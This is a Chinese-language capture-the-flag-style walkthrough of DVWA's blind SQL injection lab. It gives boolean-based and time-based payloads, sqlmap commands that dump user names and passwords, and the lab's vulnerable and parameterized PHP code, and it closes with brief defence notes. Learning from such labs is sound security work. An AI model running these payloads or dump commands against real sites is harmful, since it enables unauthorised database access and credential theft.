SQL盲注的两种主要形式是基于布尔的盲注和基于时间的盲注,本篇主要记录盲注的知识,基础知识可以参考DVWA-SQL Injection
Low
首先进行注入点测试,此处是字符型注入
布尔盲注
攻击者通过注入条件语句,利用应用程序中基于布尔条件的判断来获取有关数据库内容的信息。攻击者可以尝试不同的条件并根据应用程序的响应来验证其正确性。页面会返回报错信息。
观察后端代码,逻辑是如果查询到数据返回User ID exists in the database.,查询不到数据返回User ID is MISSING from the database.
手工注入
1.获取数据库名称
首先爆破先数据库长
1' and length(database())=1#
长度从1开始累加,累加到4时返回存在,则数据库名长度为4
之后逐位爆破数据库名
这里主要用到substr函数:substr(str,pos,len): 从pos开始的位置,截取len个字符
1' and substr(database(),1,1)='a'#
a处为枚举,此处操作可以用burp的Intruder。
得到第一位为d,以此类推得到数据库名dvwa
2.获取表名
可以先查看有几个表
1' and (select count(*) from information_schema.tables where table_schema='dvwa')=1#
当枚举到2时,前端返回存在,则有两个表。
接下来分别爆破两个表的表名(limit 0,1是限制一行,因为可能会查询到多个表名。修改limit参数逐一爆破)
1' and substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1,1)='a'#
之后用burp的Intruder,获取表名guestbook,users
3.获取列
1' and substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='a'#
4.获取元素
举例获取user元素的例子,我们知道user第一列第一行数据为admin,下面将我们的payload做个验证。
1' and substr((select user from users limit 0,1),1,1)='a'#
之后就可以用burp的Intruder逐一爆破。
sqlmap
我们知道这是个布尔盲注点,所以可以指定sqlmap的注入方法为布尔。
因为DVWA的默认难度是Impossible,所以涉及到了sqlmap指定cookie的使用。
用burp抓包获取cookie。
1.获取数据库名称
sqlmap -u "http://192.168.20.156/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit" -p "id" --technique B --cookie "security=low; PHPSESSID=q2n6390fombiu4k1nk8nq08ead" --dbs
-p是指定注入点
–technique B是指定布尔注入
获得五个数据库
2.获取表
获取dvwa数据库的表
sqlmap -u "http://192.168.20.156/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit" -p "id" --technique B --cookie "security=low; PHPSESSID=q2n6390fombiu4k1nk8nq08ead" --tables -D "dvwa"
3.获取列
获取表users的列
sqlmap -u "http://192.168.20.156/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit" -p "id" --technique B --cookie "security=low; PHPSESSID=q2n6390fombiu4k1nk8nq08ead" --columns -T "users" -D "dvwa"
4.获取元素
获取user和password
sqlmap -u "http://192.168.20.156/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit" -p "id" --technique B --cookie "security=low; PHPSESSID=q2n6390fombiu4k1nk8nq08ead" --dump -C "user,password" -T "users" -D "dvwa"
时间盲注
基于时间的盲注(Time-based Blind Injection):攻击者在注入语句中使用延时函数或计算耗时操作,以观察应用程序对恶意查询的处理时间。通过观察响应时间的变化,攻击者可以逐渐推断数据库中的数据。页面不会返回任何报错信息
基于时间的盲注通常会使用一些可能引起延迟或错误的操作,如睡眠函数sleep()、错误的 SQL 语句或其他耗时的操作。
这里首先讲下if函数
if(条件表达式,1,2)
如果条件表达式为True,返回值1,为False,返回值2.
#返回值可以是任何值,比如:数值,文本,日期,空值,NULL,数学表达式,函数等。
手工注入
基于时间的盲注一般用于页面无回显的情况下,本题有回显的可以用布尔注入,下面一起讲下时间盲注如何手工注入。
1.获取数据库名称
爆破数据库名
1' and if(substr(database(),1,1)='a',sleep(5),1)#
之后用burp intruder爆破,burp加入Response received这一列,观察这列(这里注意要设置单线程,多线程的话看不出来)
从图中可以看出数据库名的第一个字母为d
2.获取表
1' and if(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1,1)='g',sleep(5),1)#
guestbook,users
3.获取列
1' and if(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='a',sleep(5),1)#
4.获取元素
1' and if(substr((select user from users limit 0,1),1,1)='a',sleep(5),1)#
此处也做一个验证,我们知道users的user行第一行为admin,看看页面会不会执行sleep(5).
验证通过。
总结
其实做完之后可以发现基于布尔的盲注根据页面返回信息猜解数据库信息,而基于时间的盲注没有页面返回信息,它是通过页面response时间来猜解数据库信息,就是把布尔的payload主要部分放在了if函数的第一位(条件表达式),转移到sleep或者1之后根据页面response判断表达式的真假,从而猜解数据库信息。
sqlmap
命令和布尔注入相同,–technique B 改为 --technique T,基于时间的盲注
(我这里指定时间盲注的话sqlmap提示id不是个注入点,不知道咋回事。。。)
1.获取数据库名称
sqlmap -u "http://192.168.20.156/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit" -p "id" --technique T --cookie "security=low; PHPSESSID=q2n6390fombiu4k1nk8nq08ead" --dbs
2.获取表
sqlmap -u "http://192.168.20.156/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit" -p "id" --technique T --cookie "security=low; PHPSESSID=q2n6390fombiu4k1nk8nq08ead" --tables -D "dvwa"
3.获取列
sqlmap -u "http://192.168.20.156/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit" -p "id" --technique T --cookie "security=low; PHPSESSID=q2n6390fombiu4k1nk8nq08ead" --columns -T "users" -D "dvwa"
4.获取元素
sqlmap -u "http://192.168.20.156/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit" -p "id" --technique T --cookie "security=low; PHPSESSID=q2n6390fombiu4k1nk8nq08ead" --dump -C "user,password" -T "users" -D "dvwa"
Medium
此处是数字型注入,虽然没有输入框,但是可以通过burp抓包改包进行注入。
观察后端代码,用mysqli_real_escape_string函数对SQL语句进行转义。
这里注意盲注时候用到的’a’,被过滤了,所以可以通过ascii码绕过。
这里拿布尔盲注和时间忙注爆破,数据库名的payload为例。
布尔盲注:
1 and ascii(substr(database(),1,1))=0x64#
时间盲注:
1 and if(ascii(substr(database(),1,1))=0x64,sleep(5),1)#
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$exists = false;
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
try {
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ); // Removed 'or die' to suppress mysql errors
} catch (Exception $e) {
print "There was an error.";
exit;
}
$exists = false;
if ($result !== false) {
try {
$exists = (mysqli_num_rows( $result ) > 0); // The '@' character suppresses errors
} catch(Exception $e) {
$exists = false;
}
}
break;
case SQLITE:
global $sqlite_db_connection;
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
try {
$results = $sqlite_db_connection->query($query);
$row = $results->fetchArray();
$exists = $row !== false;
} catch(Exception $e) {
$exists = false;
}
break;
}
if ($exists) {
// Feedback for end user
$html .= '<pre>User ID exists in the database.</pre>';
} else {
// Feedback for end user
$html .= '<pre>User ID is MISSING from the database.</pre>';
}
}
?>
High
相比于Medium后端代码加入了一个LIMIT 1,我们可以通过#直接注释掉。是个字符型注入,和Low Level相似。
Impossible
观察后端代码,SQL为参数化查询,代码和数据不会混杂在一起造成SQL注入漏洞了,此外还加入了csrf token。
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) {
$id = intval ($id);
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();
// Make sure only 1 result is returned
if( $data->rowCount() == 1 ) {
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];
// Feedback for end user
$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
break;
case SQLITE:
global $sqlite_db_connection;
$stmt = $sqlite_db_connection->prepare('SELECT first_name, last_name FROM users WHERE user_id = :id LIMIT 1;' );
$stmt->bindValue(':id',$id,SQLITE3_INTEGER);
$result = $stmt->execute();
$result->finalize();
if ($result !== false) {
// There is no way to get the number of rows returned
// This checks the number of columns (not rows) just
// as a precaution, but it won't stop someone dumping
// multiple rows and viewing them one at a time.
$num_columns = $result->numColumns();
if ($num_columns == 2) {
$row = $result->fetchArray();
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];
// Feedback for end user
$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
break;
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
防御
1.过滤危险字符
2.后端使用参数化查询和预编译方法